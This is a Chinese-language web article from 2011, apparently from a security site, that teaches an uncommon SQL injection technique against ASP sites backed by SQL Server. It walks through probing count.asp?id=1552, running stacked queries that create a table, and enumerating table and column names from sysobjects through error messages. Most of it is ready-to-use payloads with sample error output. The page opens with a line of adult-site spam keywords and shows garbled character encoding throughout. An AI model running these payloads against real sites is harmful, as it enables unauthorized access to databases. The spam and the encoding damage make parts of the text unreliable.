国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 系統(tǒng)安全 >

不常見SQL注入的方法

時(shí)間:2011-05-04 15:49來源: 點(diǎn)擊:
全站文章系統(tǒng)采用FSO靜態(tài)生成的HTML文件來顯示。這樣做的好處一來可以減輕負(fù)擔(dān),提高訪問速度。二來也阻止了SQL注入式的攻擊。
Tags系統(tǒng)安全(735)SQL(22)  

  大家在是否碰到過這樣的站點(diǎn):

  全站文章系統(tǒng)采用FSO靜態(tài)生成的HTML文件來顯示。這樣做的好處一來可以減輕負(fù)擔(dān),提高訪問速度。二來也阻止了SQL注入式的攻擊。

  我來說說他們的文章系統(tǒng)原理:全部文章均在存有一個(gè)副本。另處根據(jù)模板生成一個(gè)HTML頁面。

  攻擊方法:

  查看源文件/看里面是否有通過JS來調(diào)用的頁面。

  如調(diào)用 來更新文章的瀏覽次數(shù)。

  我們就可以這樣來試一下可否注入:

  http://服務(wù)器/count.asp?id=1552'

  看一下是否出錯(cuò)。如出錯(cuò)說明有注入漏洞。然后正常攻擊。

  在本機(jī)建立一下post.htm的文件和log.txt的文本文件(用來記錄用,這是一個(gè)好習(xí)慣)

  post.htm內(nèi)容:主要是方便輸入。

  

  

  

  

  

  

  

  對于的服務(wù)器可以這樣判斷:在1552后加一分號,如正常有可能是SQLSERVER

  對于這類數(shù)據(jù)庫可以先建一個(gè)表id=1552;create table aaa(aaa char(20));--

  然后插入一條記錄:id=1552;insert into aaa values('test');--

  再之后枚舉出他的數(shù)據(jù)表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

  這是將第一個(gè)表名更新到aaa的字段處。

  id=1552 and exists(select * from aaa where aaa>5)就會(huì)報(bào)錯(cuò),多數(shù)情況會(huì)將表名直接讀出:看:

   OLE DB Provider for SQL Server 錯(cuò)誤 '80040e07'

  將 varchar 值 'vote' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。

  /search.asp,行21

  其中vote就是表名:

  也可以先猜出一個(gè)表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那個(gè)表的一條記錄中去。通過網(wǎng)頁顯示。

  讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

  然后id=1552 and exists(select * from aaa where aaa>5)

  讀出第二個(gè)表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。

  讀字段是這樣:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

  ……類推

------分隔線----------------------------

推薦內(nèi)容